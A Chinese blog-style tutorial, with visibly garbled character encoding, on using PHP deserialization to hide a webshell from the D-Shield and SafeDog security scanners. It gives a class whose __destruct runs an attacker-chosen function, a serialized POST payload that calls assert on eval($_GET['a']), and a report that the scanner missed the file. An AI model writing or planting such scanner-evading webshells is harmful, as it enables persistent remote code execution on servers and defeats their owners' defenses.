這次這篇文章想法主要是在de1ctf一題shellshellshell過反序列化漏洞制造SSRF登錄,然后如果用反序列化來逃脫waf檢查應(yīng)該比較簡單。
先簡單講下什么是php反序列化:
序列化:把復(fù)雜的數(shù)據(jù)類型壓縮到一個字符串中 數(shù)據(jù)類型可以是數(shù)組,字符串,對象等? 函數(shù) :?serialize()
反序列化:恢復(fù)原先被序列化的變量 函數(shù):?unserialize()
一個簡單demo序列化:
class? ?dog{
? ? public $a = 'age is one';
? ? }
輸出的序列化:O:3:"dog":1:{s:1:"a";s:10:"age is one";}
O代表結(jié)構(gòu)類型為:類,3表示類名長度,接著是類名、屬性(成員)個數(shù)
大括號內(nèi)分別是:屬性名類型、長度、名稱;值類型、長度、值
反序列化就是把序列化輸出結(jié)果還原就是反序列化,這樣我們就可以構(gòu)造一個payload進(jìn)行調(diào)用從而繞過D盾安全狗什么。
常用的魔法函數(shù)
我就直接貼smile師傅里的東西了,就難得寫了
__construct()當(dāng)一個對象創(chuàng)建時被調(diào)用,但在unserialize()時是不會自動調(diào)用的。
__destruct()當(dāng)一個對象銷毀時被調(diào)用
__toString()當(dāng)一個對象被當(dāng)作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup將在序列化之后
現(xiàn)在我們來理解這個代碼
<?php
classA{
? ? public $name;
? ? public $muma;
? ? function? __destruct(){
? ? ? ? $a = $this->name;
? ? ? ? $a($this->muma);
? ? }
}
unserialize($_POST['waf']);?>
->用來引用一個類的屬性(變量)、方法(函數(shù))
其實可以理解為就是調(diào)用
POST傳參傳入:
waf=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"muma";s:16:"eval($_GET["a"])";}
get 傳入?yún)?shù):
a=phpinfo():
我們先把寫好的代碼放入www目錄下,然后使用D盾掃描效果如下
并沒有發(fā)現(xiàn)木馬。

現(xiàn)在嘗試能不能打開phpinfo,發(fā)現(xiàn)成功被打開。

而且D盾并沒有報錯,禁止訪問那個文件是裝的D盾配置文件,所以成功繞過D盾的查殺。
